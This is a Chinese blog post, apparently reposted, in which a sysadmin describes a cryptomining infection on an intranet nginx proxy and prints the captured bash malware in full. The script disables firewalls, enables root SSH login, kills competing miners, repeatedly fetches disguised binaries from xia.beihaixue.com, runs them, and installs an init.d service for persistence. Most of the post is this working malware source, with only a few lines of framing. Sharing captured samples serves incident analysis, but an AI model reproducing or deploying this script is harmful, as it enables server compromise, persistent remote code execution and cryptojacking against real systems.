月常抓病毒水文

這次也是注入，不過都能搞到內網服務器了。

被入侵的服務器是內網的nginx代理服務器，默認文件倒是沒有被刪除，但跑滿了的CPU實在不能忍。

抓到文件，就當是復習shell腳本了，技術不到家，代碼容易被攻破啊。

攻擊者獲取文件地址：xia.beihaixue.com（香港）

---

#!/bin/bash #chkconfig: 2345 88 14 SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { #ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid #do #pkill -f $procid #done sed -i '/nameserver*/d' /etc/resolv.conf echo "nameserver 8.8.8.8" >> /etc/resolv.conf needreset=1; iptables -I INPUT -p TCP --dport 1522 -j ACCEPT iptables -I INPUT -p TCP --dport 3307 -j ACCEPT iptables -I INPUT -p TCP --dport 6001 -j ACCEPT sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config echo "PermitRootLogin yes" >> /etc/ssh/sshd_config /etc/init.d/iptables stop service iptables stop sUsEFirewall2 stopresUsEFirewall2 stop systemctl stop firewalld.service systemctl disable firewalld.service pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 pkill -f AnXqV.yam pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f my.confe pkill -f pprt pkill -f ppol rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/conns rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -f /tmp/irq PORT_NUMBER=9999 lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9 PORT_NUMBER=5555 lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9 PORT_NUMBER=7777 lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9 PORT_NUMBER=14444 lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9 apt-get install -y sysv-rc-conf }function downloadyam() {if [ ! -f "/etc/my.conf" ]; thencurl http://xia.beihaixue.com/my.png -o /etc/my.conf && chmod 0777 /etc/my.confif [ ! -f "/etc/my.conf" ]; thenwget http://xia.beihaixue.com/my.png -O /etc/my.conf && chmod 0777 /etc/my.confrm -rf /etc/my.conf.*fiif [ ! -f "/etc/my.conf" ]; thencurl http://xia.beihaixue.com/my.png -o /etc/my.conf && chmod 0777 /etc/my.confrm -rf /etc/my.conf.*fiif [ ! -f "/etc/my.conf" ]; thenwget http://xia.beihaixue.com/my.png -O /etc/my.conf && chmod 0777 /etc/my.confrm -rf /etc/my.conf.*fi#sed -i '1a\nameserver 8.8.8.8\n' /etc/resolv.confnohup /etc/my.conf &elsep=$(ps aux | grep my.conf | grep -v grep | wc -l)if [ ${p} -eq 1 ];thenecho "my.conf"elif [ ${p} -eq 0 ];thennohup /etc/my.conf -P ?my.conf>/dev/null 2>&1 &elseecho ""fifi } function downloadyam1() {if [ ! -f "/var/ssh.conf" ]; thencurl http://xia.beihaixue.com/sso.png -o /var/ssh.conf && chmod 0777 /var/ssh.confif [ ! -f "/var/ssh.conf" ]; thenwget http://xia.beihaixue.com/sso.png -O /var/ssh.conf && chmod 0777 /var/ssh.confrm -rf /var/ssh.conf.*fiif [ ! -f "/var/ssh.conf" ]; thencurl http://xia.beihaixue.com/sso.png -o /var/ssh.conf && chmod 0777 /var/ssh.confrm -rf /var/ssh.conf.*fiif [ ! -f "/var/ssh.conf" ]; thenwget http://xia.beihaixue.com/sso.png -O /var/ssh.conf && chmod 0777 /var/ssh.confrm -rf /var/ssh.conf.*finohup /var/ssh.conf &elsep=$(ps aux | grep ssh.conf | grep -v grep | wc -l)if [ ${p} -eq 1 ];thenecho "ssh.conf"elif [ ${p} -eq 0 ];thennohup /var/ssh.conf -P ssh.conf>/dev/null 2>&1 &elseecho ""fifi } function downloadyam2() {if [ ! -f "/etc/init.d/S67" ]; thencurl http://xia.beihaixue.com/s68.png -o /etc/init.d/S67 && chmod 0777 /etc/init.d/S67rm -rf /etc/init.d/S67.*fiif [ ! -f "/etc/init.d/S67" ]; thenwget http://xia.beihaixue.com/s68.png -O /etc/init.d/S67 && chmod 0777 /etc/init.d/S67rm -rf /etc/init.d/S67.*fiif [ ! -f "/etc/init.d/S67" ]; thencurl http://xia.beihaixue.com/s68.png -o /etc/init.d/S67 && chmod 0777 /etc/init.d/S67rm -rf /etc/init.d/S67.*fiif [ ! -f "/etc/init.d/S67" ]; thenwget http://xia.beihaixue.com/s68.png -O /etc/init.d/S67 && chmod 0777 /etc/init.d/S67rm -rf /etc/init.d/S67.*fiif [ -f "/usr/bin/yum" ]; thenchkconfig --add S67chkconfig S67 onfiif [ -f "/usr/bin/sysv-rc-conf" ]; thencd /etc/init.d/sysv-rc-conf S67 onfi } while [ 1 ] dokills#checkdownloadyamsleep 20downloadyam1sleep 600 done

?

總結

以上是生活随笔為你收集整理的被动抓病毒的日子（2）【入侵大佬:xia.beihaixue.com】 直接跑满在下的CPU (*‘へ‘*)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。